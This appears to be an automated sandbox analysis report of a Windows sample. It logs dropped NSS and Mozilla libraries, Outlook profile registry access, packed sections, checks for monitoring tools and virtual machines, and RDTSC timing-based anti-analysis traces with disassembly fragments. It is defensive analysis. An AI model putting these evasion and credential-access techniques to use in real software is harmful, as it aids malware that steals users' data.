Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2161152 > 1048576

Source: file.exe

Static PE information: Raw size of fcyxulxu is bigger than: 0x100000 < 0x1a4a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2129408867.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2129255327.000000006CF11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1741284072.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2129255327.000000006CF11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1741284072.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2129408867.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fcyxulxu:EW;umqfzdml:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fcyxulxu:EW;umqfzdml:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x217bfe should be: 0x215e22

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fcyxulxu
Source: file.exe	Static PE information: section name: umqfzdml
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: fcyxulxu entropy: 7.954869517390772

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2957 second address: 12D295D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D295D second address: 12D2961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2961 second address: 12D2971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F60C078F3D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2971 second address: 12D297B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F60C0F47636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DEAB8 second address: 12DEAC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DEAC0 second address: 12DEAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF181 second address: 12DF18D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 ja 00007F60C078F3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E228A second address: 12E2319 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F60C0F47636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 770F6EAFh 0x00000012 movsx esi, dx 0x00000015 push 00000003h 0x00000017 mov cx, 96BCh 0x0000001b add ecx, dword ptr [ebp+122D3844h] 0x00000021 push 00000000h 0x00000023 jmp 00007F60C0F47643h 0x00000028 push 00000003h 0x0000002a mov di, 927Ch 0x0000002e push 573BF46Dh 0x00000033 pushad 0x00000034 js 00007F60C0F47638h 0x0000003a push esi 0x0000003b pop esi 0x0000003c jmp 00007F60C0F4763Ch 0x00000041 popad 0x00000042 add dword ptr [esp], 68C40B93h 0x00000049 xor ch, 00000056h 0x0000004c lea ebx, dword ptr [ebp+12458101h] 0x00000052 push ecx 0x00000053 je 00007F60C0F4763Ch 0x00000059 mov dword ptr [ebp+122D27C8h], ecx 0x0000005f pop esi 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F60C0F47647h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E246C second address: 12E24EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3714ED7Dh 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F60C078F3D8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a adc di, F9FDh 0x0000002f xor edi, 19A4B79Fh 0x00000035 lea ebx, dword ptr [ebp+1245810Ah] 0x0000003b pushad 0x0000003c jmp 00007F60C078F3DAh 0x00000041 mov edx, dword ptr [ebp+122D39A0h] 0x00000047 popad 0x00000048 add esi, dword ptr [ebp+122D3B74h] 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F60C078F3E4h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E24EA second address: 12E24F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E24F0 second address: 12E24F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2608 second address: 12E260E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E260E second address: 12E26AF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 0843DEB7h 0x0000000f mov dword ptr [ebp+122D2111h], edi 0x00000015 push 00000003h 0x00000017 mov edi, 44542065h 0x0000001c mov esi, 6B9BF580h 0x00000021 push 00000000h 0x00000023 mov dl, 19h 0x00000025 push 00000003h 0x00000027 mov dword ptr [ebp+122D210Ah], edi 0x0000002d push 93AB4421h 0x00000032 pushad 0x00000033 jmp 00007F60C078F3E3h 0x00000038 jbe 00007F60C078F3E8h 0x0000003e popad 0x0000003f xor dword ptr [esp], 53AB4421h 0x00000046 push 00000000h 0x00000048 push ebx 0x00000049 call 00007F60C078F3D8h 0x0000004e pop ebx 0x0000004f mov dword ptr [esp+04h], ebx 0x00000053 add dword ptr [esp+04h], 0000001Ch 0x0000005b inc ebx 0x0000005c push ebx 0x0000005d ret 0x0000005e pop ebx 0x0000005f ret 0x00000060 mov edx, dword ptr [ebp+122D3A24h] 0x00000066 lea ebx, dword ptr [ebp+12458115h] 0x0000006c mov edi, dword ptr [ebp+122D3A20h] 0x00000072 push eax 0x00000073 pushad 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E26AF second address: 12E26B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C87CC second address: 12C87D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13015EA second address: 1301601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F4763Ch 0x00000009 jg 00007F60C0F47636h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301601 second address: 1301611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3DAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301611 second address: 1301615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301615 second address: 130162B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13017AF second address: 13017B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301E56 second address: 1301E7C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F60C078F3D6h 0x00000008 jmp 00007F60C078F3E9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301E7C second address: 1301EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F47648h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13021D7 second address: 13021DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13021DB second address: 13021E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130236F second address: 1302375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C38CB second address: 12C38D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302B8B second address: 1302B9F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F60C078F3DCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302CF5 second address: 1302D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302E6C second address: 1302E79 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F60C078F3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302E79 second address: 1302EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F60C0F47636h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F60C0F47645h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302EA1 second address: 1302EC4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F60C078F3D6h 0x00000008 jmp 00007F60C078F3DFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 js 00007F60C078F417h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302EC4 second address: 1302EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F4763Dh 0x00000009 jmp 00007F60C0F47640h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308D04 second address: 1308D09 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309341 second address: 1309345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309345 second address: 1309358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jng 00007F60C078F3D6h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309358 second address: 1309380 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F60C0F47641h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 ja 00007F60C0F47638h 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307E2C second address: 1307E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308435 second address: 130843A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D92FB second address: 12D9305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F60C078F3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9305 second address: 12D9324 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F60C0F47636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F60C0F47645h 0x00000010 jmp 00007F60C0F4763Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F7F3 second address: 130F7FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F7FB second address: 130F800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F800 second address: 130F806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FAA3 second address: 130FABB instructions: 0x00000000 rdtsc 0x00000002 js 00007F60C0F4763Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F60C0F47638h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FC09 second address: 130FC1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FF2D second address: 130FF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FF34 second address: 130FF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 jbe 00007F60C078F3DCh 0x0000000d jne 00007F60C078F3D6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FF50 second address: 130FF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FF54 second address: 130FF7E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F60C078F3E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F60C078F3E3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130FF7E second address: 130FF84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131027C second address: 1310281 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310281 second address: 131028C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
